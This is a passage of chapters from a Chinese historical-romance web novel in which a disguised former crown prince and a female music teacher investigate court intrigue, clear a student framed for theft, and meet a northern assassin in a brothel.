萧景衍方才在梅树下立得久了,墨发如瀑,浸着一缕浅淡梅香,他凌乱的发丝随风飘逸,拂过她的面颊,阮如玉挣开他的怀抱,抿了抿唇,“多谢。” 萧景衍心跳不自觉加快,他舍不得放手,可他终究还是松开了手,“不谢。” 山麓白雪苍茫,寂然无声,阮如玉和萧景衍并肩而行,一男一女,气氛不免有些尴尬,阮如玉咳了两声,没话找话,“为什么要用别人的腰牌,真正的廷尉狱司直是谁?” “腰牌的主人叫季青,我隐瞒身份,是因为我不想让别人知道我来这里寻人。” “季青是你朋友?” “不。”萧景衍笑了笑,“季青是我的仇人。” “仇人?” “三年前,我被押入南狱,就是他奉旨来审我,我身上这些大大小小的伤痕,至少有一半都是拜他所赐。” 阮如玉微微皱眉,“他现在不是在南狱当差吗,为什么腰牌上写的却是北狱?” “这就要问他的主子了。” “他主子是谁?” “不知道。”萧景衍话锋一转,“不过,过了今晚,十有八九就知道了,如果我没猜错的话,季青今日来太学之事应该已经传了出去,所以,谁召见季青,谁就是他背后的主子。” “原来如此。”阮如玉点点头,语气中颇有几分赞许,“想不到嘛,你还挺聪慧的。” 萧景衍神情淡漠,并不答言。 “怎么了?好好的,怎么生气了?” “我方才和你说,我身上大大小小的伤痕,有一半都是拜他所赐。” “我知道啊,有什么问题吗?” 萧景衍拉住她的衣角,声音低沉,“你不关心我的伤势如何,却关心季青的身份归属,阮姑娘,你不觉得你这个盟友,当的有些不近人情吗?” 阮如玉闻言一怔,半晌才说,“是吗?” “嗯,如今我们同道而行,怎么说也算是半个朋友了,你应该多关心关心我才是。” 阮如玉爽快道,“行吧,那我以后多关心关心你就是了。” 萧景衍扬唇轻笑,“这还差不多。” 阮如玉想了想,说,“言老的脾气一直不大好,你等下要小心。” 萧景衍有些不解,“言老已近花甲之年,我有什么可小心的?” 阮如玉扶着枯树,匀了口气,“你可知,自从三年前太子获罪,株连甚广,昔日太子的故交旧友,无一敢言,只有言老不顾孱弱病体,在广阳门外跪了三天三夜,最终体力不支,昏死过去,醒来之后,言老便开始说胡话了,世人都说他疯了。襄阳王不相信,他来到太学探望言老,可言老形容痴傻,举止疯癫,竟将襄阳王随行的侍从撞落山崖,自那以后,就再也没有人敢来这里问询言老了。” 萧景衍微微仰头,望向掩映在乌山白雪之中的柴门小院。 太傅,你这又是何苦呀—— 十余年前,言老是大梁的一个传奇。 朝堂依靠中正推举选拨官员,这就导致青云之路几乎都垄断在世家大族手里,寒门士子或是毛遂自荐,拜入世家门庭,或是谒见无门,走投无路,不得不放弃经年所学,另谋出路。 言老的故事,便是从那个时候开始的。 彼时的言老已经年近半百,却依然一文不名,一事无成。 他年轻时饱读诗书,精通治国理政之道,可那时他不喜逢迎,白白错失了许多好机会,等他决意放下傲骨与自尊,试图找个高门大户做自己的登云梯时,早已没有人愿意收留他了。 想也是,少年才俊有如过江之鲫,谁还会瞧得上一个不善言辞的白胡子老头呢。 毕生所学,无处施展,他大哭一场,投河自尽,却正好被途径青溪的萧景衍救了上来。 如果说言老是一匹千里马,那么萧景衍就是他的伯乐。 二人秉烛夜谈,萧景衍感其遭遇,敬其才华,尊其为师,以礼相待。 因为萧景衍的举荐,言老终于在两鬓斑白之时走上仕途,从此一发不可收拾。 大梁建国之初,民生凋敝,百业待兴,等到梁帝继位,天下才算安定了一些,战乱初平,自然要重视礼仪教化,只是,古籍孤本历经战火喧嚣,许多已经散佚无考,剩下的也都残缺不全,梁帝下旨整理修撰,满朝文臣束手无策。 言老自告奋勇,说他能办好这个差事,他还口出狂言,说只要一月即可,梁帝将信将疑地打量着这个其貌不扬的老头,最终,在萧景衍的劝说下,梁帝同意让他一试。 就这样,言老抱着被褥住进太学,一月之后,当众人都等着看他笑话的时候,言老披头散发,推门而出,他只说了两个字,“成了。” 随后,他就因为劳累过度暂时晕了过去。 众人蜂拥而入,几位太学博士拿起案上笔墨未干的书卷仔细阅读,竟是无一疏漏,众人震惊不已,谁也未曾想到,这么一个藉藉无名之辈居然有如此大才。 言老由此一战成名,寒门士子更是将言老看作心中的榜样,他已经到了知天命的年纪,却还能有如此作为,他们又有什么不可以的呢? 可惜,大梁只出了一个言老。 天熙七年,备受天下士子尊崇的大梁太子萧景衍“死”在了江北。 没有伯乐,又何来千里马? 刚刚有所调整的取士制度因为萧景衍之“死”就此停滞不前,寒门士子面前的青云之路再一次被世家大族毫不留情地捏断碾碎。 萧景衍犯的是大逆不道之罪,作为太子太傅,言老自然也不能被免除罪责,他和萧景衍一起被关进了地牢。后来,梁帝念其年老,开恩特赦,将他放回太学,可言老不仅不思悔改,还在太子死后屡次为他喊冤,幸而他疯了,不然,梁帝早晚是要赐他一杯毒酒亦或一尺白绫。 既然疯了,那便是疯言疯语,说什么也都无所谓了。 思及此处,萧景衍低下头,呢喃道,“其实,疯了也好。” “你说什么?” “没什么,走吧。” 山径迂回,斗折蛇行,一刻钟后,二人终于爬到了山腰处。 萧景衍伸手推门,却在触及柴门的一瞬间停下了手中动作。 “你来吧。” < 7. 玉佩 《云中白鹤》全本免费阅读 北风骤起,山下的喊声扰乱了阮如玉的思绪。 “如玉,出事了!有人说枫儿偷了东西,要将她撵出乐馆!” 阮如玉说了声“不好”,便要下山。 萧景衍见她神色惊慌,忙问,“枫儿是谁?” 阮如玉顾不得多解释,扶着岩壁匆忙离去,“就是方才我教着弹琴的那个女孩。” “我陪你去。” 阮如玉推开他的手,“你不是偷偷来的吗,你陪我去,我怎么和别人介绍你?你还是快走吧,言老的事,等我有线索了会派人告诉你的。” “好吧,那你一定要派人去找我呀,我就住在——”萧景衍顿住,他才从涅槃寺出来,眼下还没有落脚的地方呢。 “喂!”他想喊住她,可她行色匆匆,只留下一个浅淡疏绰的背影,随即消失不见了。 阮如玉疾步出了山径,文南正在山脚处等她,“可算找到你了,你怎么一个人跑这来了?” 山势颇高,风雪又大,因此文南刚才并未看见阮如玉的身边还有一个人,阮如玉也懒得解释,“枫儿怎么了?文南,你细细说给我听。” 文南微微摇头,“具体我也不是很清楚,我方才路过乐馆,听见了里面的吵嚷声,好像是枫儿偷了杜尚书之子杜锦的玉佩,被杜锦抓住了,吵着说要将枫儿送官呢,我知道你一向很可怜枫儿这个孩子,所以赶紧来知会你一声。” 阮如玉眉头深锁,“枫儿不是眼皮子浅的人,她一定是被诬陷的,走,我们去乐馆看看!” 二人才到乐馆门口,就听见了枫儿的啜泣声,“先生,真的不是我,我没有偷杜公子的玉佩,我也不知道杜公子的玉佩为何会在我的身上。” 礼经博士杜恺兮拂袖怒斥,“杜锦乃是吏部尚书之子,难道他还会空口白牙,平白诬陷你不成?” 文南听见杜恺兮的话,忍不住翻了个白眼,“谁不知道,杜恺兮和杜锦同宗同族,这也袒护得太过分了吧。” 阮如玉回身握住文南的手,“文南,你快去找你父亲,眼下只有他能帮我们。” 文南之父文超然是太学祭酒,总领太学事务,文超然之妻阮氏是阮如玉的姑母,因此,两家关系很是要好。 文超然官运还算亨通,只是,他于子嗣一事上实在缘薄,他与阮氏膝下只有一女,便是文南。 文超然给女儿取名“南”字,充作“男”儿教养,授以诗书,聊慰己心。 文南点头,“好,等我!” 阮如玉提步而入,她绕过忍冬纹多牒髹漆围屏,瞧见当事人之一的杜锦半个身子正搭着竹制笥箧的边儿,垂足斜倚,神情桀骜散漫。 枫儿跪在当地,浑身上下,抖个不停,一遍遍重复着,“不是我,真的不是我……” 阮如玉挡在枫儿的身前,“好好的,这是做什么?这儿是太学乐馆,不是问罪刑堂!” 杜锦看见阮如玉,稍稍欠身正了正衣襟,“哟,先生来了,先生你来瞧瞧,有人偷了我的东西,先生你说,应该怎么办呢?” “杜锦,你既然叫我一声先生,便该知道,没有老师站着,学生反而坐着的道理,倘若传了出去,岂不是叫人议论杜尚书家风不严,教子无方?” 杜锦扁扁嘴,他不情不愿地抖了抖衣袖,站起身来。 阮如玉扶起枫儿,“事情还没有说清楚,用不着跪着,先起来。” 枫儿抬袖拭泪,满脸感激,“谢谢先生。” 杜恺兮咳了一声,上前一步,“那个,阮姑娘呀,不是我们无缘无故地刁难这个丫头,实在是她犯了偷盗之罪,按大梁律,违者,理应褪衣,施以笞刑,自然了,她也可以用金银替代刑罚,不过,我瞧她的样子,应该是出不起这钱的吧。” 阮如玉正色道,“杜大人,如今事情尚未分明,你何必一口一个偷盗的说着,你们说她偷了杜锦的玉佩,可有证据?” 杜锦懒洋洋地解下腰间的玉佩,放在掌心掂了掂,“这枚玉佩是家慈所赠,我日日带在身上,先生应该认得吧?” “那又如何?” “今日散学之后,我走得急,出了太学的门才发觉这枚玉佩不见了,所以我赶紧回乐馆寻找,正好撞见枫儿鬼鬼祟祟地从乐馆出来,她怀里揣的正是这枚玉佩。” 阮如玉蹲下身子,语气轻缓,“枫儿,是这样吗?” 枫儿用力摇头,眼中噙满泪花,“不是这样的,先生,我没有偷他的玉佩。” “那你告诉我,究竟是怎么一回事?” 枫儿咬着下唇,因为太过用力,嘴角渗出了一丝血色。 阮如玉握住枫儿的手,声音温柔而又坚定,“别怕,我会为你做主的。” 枫儿点点头,仿佛是下定了某种决心,她抬手指着杜锦,声音微微有些发颤,“方才,我从乐馆出来,迎面碰上了躲在暗处的他,是他,是他用力将我拉回乐馆,想要对我行不轨之事,因为我不答应,他就出言诬陷我!” 杜锦面有不屑,轻蔑冷笑,“哼,你这话谁信啊,本公子是尚书独子,要什么女人没有,非要强迫你一个小门小户出来的女孩?怎么,你真以为自己长得倾国倾城啊,还是说本公子来者不拒,不挑食啊?偷了就说偷了,本公子又不会真的要你的命,干嘛扯谎呀。” “我没有偷!那枚玉佩一定是你趁乱塞到我身上的!分明是你在说谎!” “笑话,本公子从始至终都没碰过你一根手指头,你别狡辩了,还是赶紧认了吧,没准本公子心情一好,大手一挥,既往不咎了呢。” 枫儿气得小脸通红,“你!” 阮如玉拍了拍枫儿的肩膀,示意她先不要说话,随后,阮如玉看向杜锦,“如此说来,你与枫儿并无肌肤之亲?” “当然没有,我再说一遍,我,一根手指头都没碰过她。” “很好,那么,依你之见,你想如何处置枫儿?” 杜锦摸着下巴,眼睛一亮,“她偷我玉佩在先,出言诬污蔑在后,要么,对她当众施刑,撵出乐馆,要么,就让她用和我这枚玉佩等值的金银来换。” “枫儿一个女孩子家,当众施刑,撵出乐馆,你让她今后还如何抬头做人,至于金银,她家境贫困,就连学费都是我帮忙垫付的,杜锦,你敢说你不是刻意刁难她吗?” 杜锦摊摊手,“那就没办法了,国有国法,家有家规,总没有犯了错还不用受罚的道理,她要是没钱,也行,签个卖身契,从今往后,做我杜府的侍女,这件事,就算了。” 枫儿气结,不能言语,阮如玉冷笑一声,“好啊,如果这件事真的如你所言,就按你说的办,但是,如果事情真相并不是像你说的那样,杜锦,你就要跪下给枫儿道歉,并且从今往后,再也不许踏入太学一步!杜锦,你敢不敢赌?” 杜锦愣了一下。 “如果你不敢赌,就说明你方才说的那些都是谎话,所以,你才会心中有鬼,不敢答应。” 阮如玉的激将之法果然有用,杜锦撇了撇嘴,“赌就赌呗,有什么了不起的。” 文超然适时而至,阮如玉行了一礼,“文大人来得正好,我们方才做了一个赌约,正好请文大人做个见证,若是杜锦输了,他 8. 赌局 《云中白鹤》全本免费阅读 杜恺兮敛眉沉吟,“阮如玉,这可是你自己说的,你若没有办法能够证明这个丫头没有偷锦儿的玉佩,你就要滚出太学!” “是。” “不后悔?” “绝不后悔。” “好!我跟你赌!” 一旁的杜锦着急了,这不是他的赌约吗,杜恺兮怎么替自己答应了? 他咽了口吐沫,“咳咳,那个,我插一句嘴啊,这个赌约是不是不需要我证明枫儿偷了我的玉佩?” 他看见众人脸上浮出疑惑的表情,忙又补充道,“这可不是我底气不足啊,主要是事发时只有我和枫儿两个人在场,我方才说的话你们又不信,要是让我再找证据证明,我可没有办法了。” “不需要。” 阮如玉回答得太过爽快,容不得杜锦深思,再加上杜恺兮的撺掇,杜锦心说自己当时一直让人在周围盯着来着,量她也找不出在场的第三个人,于是便应了下来。 文超然叹了口气,“赌约既成,阮姑娘,我给你三日时间,若你找不出证据,就休要怪老夫无情了。” “不用三日,我只要一炷香的时间就好。” 说罢,阮如玉附在文南耳边小声叮嘱了一番,文南点点头,快步出去了。 杜锦转了个身,抱着肩膀,斜倚在忍冬纹多牒髹漆围屏上,一副坐等着看好戏的模样,“先生教了我许多日的琴,一炷香后,我敬先生一杯酒,也算是尽一尽我这个做学生的礼数。” 阮如玉敛了敛衣袖,唇角扬起一丝淡淡笑意,“有些人啊,一门心思想着看戏,可到最后呢,自己成了戏中之人却还浑然不知,杜锦,这杯酒,你还是留着自己喝吧。” “你——” 不一会,文南小跑而回,“如玉,我找到啦!” 众人看时,只见她怀中抱着一把琴。 文超然道,“阮姑娘,你这是何意?” “这把琴,是我赠予枫儿的,文南,你是在何处找到此琴的?” “乐馆外头的一处丛林。” 枫儿道,“对!他当时就是从那片林子里跑出来的!” 杜锦满不在乎地瞥了那琴一眼,“一把琴而已,能说明什么?” “若不是你强拉着我,我又怎么会在慌乱中跌了先生赠予我的古琴?” “或许是你自己不小心弄丢的呢,这会子听人问了,就想赖到我的头上?” 阮如玉抬指轻轻扫了一遍琴弦,“此琴是以古桐为面,梓木为底,蚕丝为弦,断纹为饰,琴音琴色,俱属上乘,这把琴历经战火频仍,流传至今,只怕比你的那枚玉佩还要值钱许多。如若真的如你所言,枫儿是个爱财无道之人,她又怎么会扔下这把名贵的古琴,跑去偷你的玉佩,这样岂不是顾此失彼,得不偿失?” “她贪心呗,两个都舍不得,就想着先把先生赠予她的琴放好,等玉佩到手之后,她再一起抱回家,不然,带着这么一个庞然大物,她还怎么神不知鬼不觉地偷东西啊。” 阮如玉挑了挑眉,“杜锦,你还真是临危不乱,能言善辩啊。” 杜锦面上得意,“过奖过奖。” 阮如玉轻笑一声,上前一步,“如果我没猜错的话,你昨晚应该是歇在芳菲楼了吧。” 阮如玉这话问得突然,杜锦一愣,脱口而出,“你怎么知道?”说完,他一下子就后悔了,可是说出去的话就像泼出去的水,无论如何,也是无法收回了。 他清清嗓子,“咳咳,我昨晚歇在哪里和这个事情有关系吗,怎么,我的私事你也要干涉吗?” “你的私事我自然管不着,我只是闻到了你身上柳儿香的味道,一时有些好奇罢了。” “柳儿香?” “柳儿香是芳菲楼的秘制香料,质地清透,香气绵长,还有怡情养神之效,芳菲十八楼皆用此香,杜锦,你这衣上发上,浸染的可都是这个味道。” 杜锦皱着眉头,低头仔细闻了一下,“真的吗?我怎么没闻见?” 文南“哼”了一声,“孔子有云,与善人居,如入兰芷之室,与恶人居,如入鲍鱼之肆,待久了,自然就闻不出来了。”[1] 文超然出言喝止,“南儿,不得无礼。” 阮如玉伸手拉过枫儿,“枫儿身上同样沾染了此香的味道,她一个女孩子家,总不可能自己去逛青楼吧,所以,只有一种可能,那就是在撕缠之中,你身上的味道染到了她的身上,你方才说,你连一根手指头都没碰过她,那么,请问这香气是如何隔空就到了她的身上的?” 杜锦的神色不由得紧张起来,“这,这不可能啊,我不过就是拽了她一把,很快就被她逃脱了,我身上的味道怎么就——” “诸位都听清楚了,这可是他自己说的,他,拽了枫儿一把。” 杜锦后知后觉地反应过来,怒声道,“你诈我!” “兵不厌诈,是你自己好色愚蠢,怨不得旁人。” “阮如玉,你会后悔的!” 阮如玉并不理会杜锦,她向文超然道,“赌约在先,文大人以为如何?” 文超然摇了摇头,似是叹了一口气,“人而无信,不知其可也,杜锦,你自己看着办吧。”[2] 说罢,他便拂袖而去,出门前,他瞥了一眼文南,沉声道,“南儿,跟我回家。” 文南哪里愿意错过这个热闹,奈何她拗不过文超然,只得跟着他出去了。 杜锦一甩袖子,咬牙道,“这个太学,我从今往后,再也不来了便是,我堂堂尚书之子,想要入仕拜相,还不是分分钟的事情,若不是我父亲逼我,你以为我愿意来这读那些枯燥的文章,听你们说那些没用的废话?至于下跪赔礼,那是绝对不可能的!” 他面露凶光,狠狠盯着阮如玉,“我倒要看看,我走了之后,你还能在太学待多久?” 阮如玉毫无惧色,抬眼迎上他的目光,“那就和你没有关系了,杜锦,你记住了,你欠枫儿的礼,早晚有一天,我会让你偿还。” 杜锦轻蔑一笑,“你以为你是谁啊,我们,走着瞧。” 众人一时散去。 枫儿跪下给阮如玉磕了一个头,哽咽道,“今日之事,枫儿多谢先生出手相救,不然,我就是跳进黄河也洗不清了。” 阮如玉伸手拉起枫儿,柔声安慰,“今日之事,你不要往心里去,回去好好睡上一觉,等再醒来的时候,就什么都好了。” 枫儿睁着水汪汪的大眼睛,“会吗?会好吗?” 阮如玉勉力一笑,“当然,你不信我的话吗?” 枫儿摇头道,“我信,我只是不明白,为什么明明是他的错,可承受错误的人却是我,先生,你知道吗,刚才那些人出去的时候都用异样的眼神上下打量着我,仿佛是我诬陷了他,仿佛我才是那个做错了事的人,为什么?就因为我是女子吗?就因为我出身微贱吗?所以,他们就笃定是我勾引了他,是我惹出祸端,是我……” 枫儿泣不成声,再不能言。 阮如玉心中一痛,将枫儿揽在怀里。 枫儿把头埋在阮 9. 青楼 《云中白鹤》全本免费阅读 芳菲楼是大梁第一大青楼,因有十八位沉鱼落雁,闭月羞花的亭亭娘子在此,又名芳菲十八楼,建康中人无一不想进去一睹十八娘子的风采。 不过这样一个风流之地也不是谁都能进的,自芳菲楼开门迎客的第一天起,楼中便立下了规矩,或为在朝官员,或为太学士子,否则,绝无进入芳菲楼的可能。 红烛轻曳,金镜耀彩,娘子们的丹碧纱仙裙晕染开楼中柳儿香的萦郁幽痕,飘带含香,流苏垂髾,丝竹管弦之音,婉转悠扬,不绝于耳—— “杏梁日始照……蕙席欢未极……碧玉奉金杯……绿酒助花色……”[1] 季青喝得醉醺醺的,他搂着娥娘,一步一晃地走着,交领宽衣松松垂及地面,头上小冠歪在一侧,几乎要掉了下来。 娥娘自己喝得也不少,只得勉强扶着他,一面笑,一面劝,“大人怎么这就走了,天色已晚,不如今晚就歇在奴家这里吧,奴家给大人捏捏筋骨,松泛松泛。” 季青一张嘴便是一股酒气,“嗝,不行啊,今儿晚上是我当值,苦差事,脱不开身的。” “大人真是辛苦了。” 季青低头瞧见自己衣衫不整的样子,连忙垂指系好带扣,又重新理了理衣袍。 “欸,我的腰牌怎么不见了?” “什么腰牌?” 季青有些急了,他推开娥娘,翻完了自己的衣裳,又去翻娥娘的衣裳。 “大人别急,许是喝多了掉在哪里也未可知。” 娥娘招呼了几个楼中的侍女过来,“你们几个,还不快帮大人找找。” “是。” 人影憧憧,阮如玉女扮男装,趁着大家都在低头找东西,悄无声息地上了楼。 她记得,随之曾经和她提过楼里一位娘子的名字——芸娘。 六七年前,在太子萧景衍的倾力推行之下,朝廷初步采用科举选士与中正推举双线并行的选官制度,那几年,有一批出身寒门的士子单纯凭借自己的才能步入仕途。 为了博一个好听的名声,一部分世家大族会强迫自己的孩子先在太学读几年书,然后再出来做官,但是官职都是有限的,寒门士子的涌入势必会对世家子弟的青云之路造成冲击,因此太学里经常有世家子弟与寒门士子起了争执的情况出现。 不过都是口头上的争锋,学里的先生们觉得就是几个学生之间的小打小闹,也一直都没放在心上,直到三年前,寒门士子云昭一举夺魁,却在授官拜职的前夜死在了芳菲楼的门口。 经调查,是云昭与几个士子发生了龃龉,因为喝多了酒,在推搡间不慎从芳菲楼二楼的窗子摔出,当场身亡,当时在场之人除了其余几个士子,便只有芸娘了。 芸娘作证,是云昭最先出言不逊,结果自己一不小心失足跌落,由于芸娘的证词,其余几名士子只是被各自罚了点钱,然后就被无罪释放了。 结案之后,萧景衍在翻阅卷宗的时候觉得此事有些蹊跷,于是来到芳菲楼,想要找芸娘问个究竟,却被告知芸娘已于数日前离开建康了。 怎么会有这么巧的事情? 萧景衍派人去查芸娘的下落,但还没等派去的人找到线索,萧景衍自己就被扣上了谋逆犯上的帽子,之后,这个案子无人过问,便不了了之了。 找到芸娘,或许就能找到一些线索。 阮如玉走到一间屋子门口,她瞧见门外牌子上刻着“芸娘”二字,抬手才要叩门,忽听身后传来一阵疾促的脚步声,“抓小偷!” 阮如玉怔了怔,然后就看见“裴义”一个箭步冲上二楼。 二人四目相对,俱是一愣。 脚步声越来越近,阮如玉急中生智,抬手抽掉发冠,三千青丝,顷刻垂及腰间。 “抱我,快!” 萧景衍会意,伸手揽住她的腰肢。 阮如玉回握住他的手,一个转身,将他抵在了门上。 萧景衍低着头,脉脉看她,二人鼻尖贴着鼻尖,几乎可以听见彼此的心跳声。 追来的人绕了一圈,并没发现什么异常,转身离开了。 这个姿势有点难堪,阮如玉张了张嘴,“人都走了,还不放手。” 萧景衍笑了笑,“姑娘是不是搞错了,分明是你不放手的。” 阮如玉这才想起来,自己因为害怕他被发现,将他推在了里面,此刻被他一说,连忙松开了他,“我……我忘了……” 萧景衍笑而不语。 “你笑什么啊!” “我笑,那些人追的明明是我,你慌什么神呢?” 阮如玉嘴硬,“我没有。” 萧景衍便又笑笑。 阮如玉默了一阵,轻声开口,“说真的,裴义,有时候你给我的感觉很像一位故人。” 萧景衍的心跳仿佛漏了半拍,他听见自己说,“像……随之吗……” “嗯。” “随之生母出自裴氏,而我也是裴家的孩子,我们身上都有一半流着裴家的血液,我与随之又是从小一起长大的,有些相像也很正常。” 阮如玉点点头,“也对。” 萧景衍见她信了,暗自松了口气。 他打量着她的装束,“对了,还没问你,你打扮成这样做什么?” “这还不够显而易见吗,当然是出来逛了。” “逛什么?”萧景衍挑眉,“逛青楼?” “不行吗?” 萧景衍眉头微蹙,抿唇不语。 阮如玉瞧见萧景衍的样子,忍不住笑出了声。 “哈哈哈,你别这副表情,好像我轻薄了你似的。” 萧景衍望着她的笑靥,忽然觉得恍如隔世。 “你的头发乱了,我帮你理理。” 说着,他抬指帮她理顺鬓角垂落的青丝,动作轻柔,笑容温润。 “谢谢……”阮如玉的脸有点红了,她轻咳一声,“其实,我来这里是找人的,你呢,你来这儿做什么?” “我是过来还东西的,就是那个腰牌,你知道的。” “哦,怨不得被人喊成小偷了,你是还的时候被人发现了吧?” “差一点就被人发现了,不过还好,我遇到了你。”萧景衍歪头看她,“你要找谁呀,说说,没准我还能帮到你呢。” 阮如玉抬手一指,“喏,就是这 10. 花姹 《云中白鹤》全本免费阅读 萧景衍在涅槃寺待了整整三年,春日走水,夏日毒虫,秋日疫病,冬日盘蛇,这些对他来说都是家常便饭,他若不时刻警醒度日,这会子早就不知道死在哪里了。 因此,他方才只往门外一站,便发觉了这间屋子里有人。 “阁下还不肯露面吗?” 忽闻一阵风入耳,山水花鸟四扇屏风榻床的帘幔陡然吹开。 门窗四闭,何来风声。 萧景衍心道,这人好厉害的内力。 纱光倾拽间,隐约可见当中黑衣褶袴影影绰绰。 榻上那人悠悠开口,“你不怕我?” 萧景衍上前一步,“你若是要害我,那伙人追上来的时候,你早就声张起来了,可你并没有,由此可见,你我之间,并非敌人。” 那人笑了笑,旋身而出,立于当地。 竟然,是个女子。 只见她一身黑色袍裳,宽领窄袖,裤管散开,一头乌发用一支月白色的鹿骨斜斜扶住,头戴毡笠子,腰系番束带。 萧景衍打量着她,微微皱眉,“你是魏人?” 女子开口,说的却是一口流利的大梁口音,“怎么,你怕了?” “这儿是大梁境内,建康城中,守卫最是森严,要说怕,也应该是你吧。” 女子冷哼一声,“你们大梁的军队,压根就不入我的眼。” “那么,敢问阁下尊姓大名?” “听说过十步门吗?” 萧景衍神色一肃。 十步杀一人,千里不留行。[1] 萧景衍从前做皇太子的时候,曾听大梁密探来报,十步门是北魏势力最大的杀手组织,江湖刑堂遍布四境,凡有十步门出没的地方,风声鹤唳,人人胆寒。 “莫非,你就是十步门门主狄川?” 女子摇头,“你太抬举我了,我不过是十步门中的一个无名小卒罢了。” “我听说十步门中的门人凡有所出,必见鲜血,所以阁下今日来此,是来杀谁的呢?” 女子抬手压了压斗笠,“我此行并未禀报门主,我来这儿,不为公事,我同你们一样,是来芳菲楼寻人的。” 萧景衍心中一动,“你也是来找芸娘的?” 女子走到窗边,凭几而坐,“许多年前,我为了完成一个刺杀任务只身来到大梁,那时我刚刚进入十步门,武功差劲得很,差一点就死在大梁了,幸亏芸娘救了我,伤好之后,我回到了十步门,这些年事情太多,我总也抽不出空来,好容易有时间出来看看我的救命恩人,结果,她已经不在建康了……” 女子叹了口气,“天地之大,我竟不知,要去何处寻她。” “在你的印象中,芸娘是个什么样的人?” “芸娘嘛……”女子微微眯起眼睛,陷入了深深的回忆,“她是这个世上最好看最善良的女孩子,私以为,她值得这个世上的所有美好。” “所以,你觉得芸娘不会撒谎,是吗?” “那倒不一定。” “怎么说?” “谎话也不全然是坏的,要看谁来说,怎么说,当初芸娘救我,就是对着别人撒了慌,可这并不影响她是一个好人呀。” 萧景衍点头,“有些道理。” “我方才听你们二人说话,提到了另一个名字,叫云,云什么?” “云昭,他是三年前的一个太学士子,一举夺魁,却在拜官授职的前夜死在了芳菲楼。”萧景衍指着面前锦窗,“当时,他就是从这儿摔下去的,芸娘作证,他是意外失足而死的。” 萧景衍顿了顿,补充道,“我当时查过他和芸娘的关系,他们之间似乎有些感情。” 女子低声重复了一遍,“云昭……哦,我想起来了。” “我当年在廷尉狱查出了一点头绪,据卷宗载,云昭尸体上的致命伤在颈部,而非头部,但按照常理,人在下坠时最先着地的应该是头部,所以我怀疑,芸娘对云昭因爱生恨,这才做了伪证,毕竟彼时的云昭一举夺魁,前程似锦,他很有可能瞧不上芸娘了。” 女子摇头,“你猜错了,他与芸娘的确有情,不过,并不是你们所想象的那种男女之情,而是,姊弟之谊。” 萧景衍愕然,“你说什么?” “云昭是芸娘的弟弟,芸娘是云昭的姐姐,他们的父亲原本是地方上的乡贤,后来家产田庄尽数被世家吞灭,芸娘为了凑足银子,继续让云昭安心读书,不得已才来了芳菲楼做了楼中娘子,连自己的姓氏也从‘云’改成了‘芸’字,为的便是不辱云家门楣。” “既然如此,云昭为什么不告诉别人,她是他的姐姐呢?” “读书人最重清誉,即便云昭愿意承认,你觉得芸娘会同意吗?” 萧景衍沉默了。 “芸娘最疼这个弟弟了,为了他,她连自己的这一辈子都不在乎了,她不可能亲眼看着弟弟死在自己眼前,还能无动于衷地去作证,除非——” “除非作证的不是芸娘。” 女子没有说话,抬指做了一个“嘘”的手势。 衣裙悉悉索索的摩挲声擦过房门外,一脚轻,一脚重。 萧景衍听见刚才那个和季青混在一处的那位娘子的声音,“杜公子今日是怎么了,怎么发这么大的脾气,把奴家都给吓着了。” 另一个人的鼻子直哼气,“别提了,越说越来气,走走走,去你房里吃酒。” 邻间的房门“砰”地一声关上了,男欢女爱,不绝如缕。 女子翻了个白眼,“我先走了,省得在这儿听这些风流之音,对了,你住哪儿,我会在大梁待上一段时日,如果有了芸娘的消息,我们也好互相通个气儿。” 萧景衍想了想,说道,“太学,如果有了消息,你去太学找我,我若不在,你就找一位姓阮的娘子。” “好。” 说罢,女子翻窗便要离开。 萧景衍连忙叫住她,“还没问,你叫什么名字?” 女子身形一闪,遁入黑夜。 利落明快的声音扶云而上。 “我姓花,单名一个姹字。” 太学。 文超然今日走得匆忙,把自己的白幍落在了学里。 文南受父所托,过来帮他取东西。 文南找到了东西,路过乐馆时,瞧见里面隐隐透着烛光,推门而入。 阮如玉伏在案上,似乎已经睡着了,文南迈着碎步,小心上前,轻声唤道,“如玉。” 见她没有反应,文南只得轻轻推了推她,“如玉,醒醒。” 阮如玉睡眼惺忪,懵懂抬眼,“文南?” “你怎么睡在这儿了?” 11. 棋子 《云中白鹤》全本免费阅读 雪融春华,岁序将至,葳蕤之白染遍了整个王府,窗上贴着的大红剪彩显得有些突兀,湿与冷凝作细碎的莹莹冰珠,缀在飞檐一角,堪堪将落。 萧景珃披着玄色大氅,卧于积雪亭中,抬手斟酒,拥衾赏梅。 “主子!” 游刃快步走上前来,一把掀翻了萧景珃手中的桃汤柏叶酒。 萧景珃容色微醺,极轻极缓地笑了一声,便要伸手再斟一盏。 游刃死死握住他的手,声泪俱下,“主子,你不能再喝了,你又不是不知道,这酒里有毒啊!” 微风拂面,酒水晕开浅淡细碎的波纹,两三滴冰凉的酒洒落萧景珃的手背,他修眉微扬,仰头饮尽盏中酒,一笑,“怕什么,一时半会儿又喝不死人。” 他用掌心托着青瓷莲纹盏,神色凉薄,眼眸凄清,“这酒,可是太后娘娘专门赏给王府的,别人想喝还喝不到。” 游刃恨声道,“这个疯女人,我这就去杀了她,一了百了!” 萧景珃陡然直起身子,“站住!” 游刃扑通一声,跪在当地,“主子!” 萧景珃微微摇头,伸臂拉起游刃,“你放心,这毒性极弱,偶尔喝些,不碍事的。” “毒性再弱也是毒啊,游刃实在是怕主子折寿损命,得不偿失啊。” “折寿?损命?”萧景珃唇角勾起,“哼,人人都希望长生不老,可本王偏偏不喜欢,活那么久,又有什么趣儿,还不如轰轰烈烈活它几年,就是死,也值了。” “我不明白,主子为什么非要和太后合作呢,太后娘娘喜怒不定,形状疯癫,万一哪天主子惹恼了她,保不齐她就会像当初对太子一样对王爷您下手呀。” 萧景珃满不在乎地笑笑,“她杀太子,是因为太子挡了她的路,而且太子为人耿直,难以为她所用,她不得已才会痛下杀手,本王帮她做事,替她杀人,还乖乖喝她送来的毒药,她又不傻,放着本王这么好的棋子不用,杀了我,她还能去找谁?” 游刃眸色一动,欲言又止。 萧景珃瞥他一眼,“有什么话就说,别吞吞吐吐的。” “主子可知,太后娘娘前些日子召见了一个人,此人,正是当年的羽林郎裴义。” “裴义?他不是一直在涅槃寺待着呢吗,都三年了,太后怎么突然想起他来了?” “我也觉得奇怪,听说是他生了一场重病,险些死在里头,太后娘娘这才把他放了出来,眼下,已经把他送到皇上跟前做散骑侍郎了。” “一个闲差罢了,三两日都不用在父皇跟前当值,父皇只怕都记不住他这个人。” “不怕一万就怕万一呀,主子前脚刚和太后透露出想做太子的意思,太后后脚就起用了新人,主子,这可不是什么好兆头。” “那又如何?” 